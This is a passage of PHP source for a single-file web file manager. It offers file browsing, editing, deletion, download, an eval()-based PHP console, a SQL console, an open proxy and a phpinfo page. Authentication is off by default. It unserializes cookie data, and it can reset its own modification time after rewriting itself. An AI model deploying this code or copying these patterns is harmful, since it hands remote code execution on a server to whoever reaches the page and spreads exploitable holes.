$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmO